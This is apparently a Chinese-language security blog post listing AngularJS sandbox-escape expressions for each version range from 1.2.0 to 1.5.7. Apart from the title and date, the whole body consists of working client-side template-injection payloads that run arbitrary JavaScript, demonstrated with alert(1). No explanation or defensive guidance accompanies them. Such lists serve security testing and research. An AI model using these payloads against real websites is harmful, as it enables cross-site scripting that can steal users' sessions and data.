MENU

AngluarJS各版本的沙盒绕过

October 25, 2017 • Security

Versions 1.3.0 - 1.5.7

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}

Versions 1.2.20 - 1.2.29

{{a="a"["constructor"].prototype;a.charAt=a.trim;$eval('a",alert(alert=1),"')}}

Version 1.2.19

{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","alert(1)"].sort(c)}}

Versions 1.2.6 - 1.2.18

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

Versions 1.2.0 - 1.2.5

{{a="a"["constructor"].prototype;a.charAt=a.trim;$eval('a",alert(alert=1),"')}}
Archives QR Code
QR Code for this page
Tipping QR Code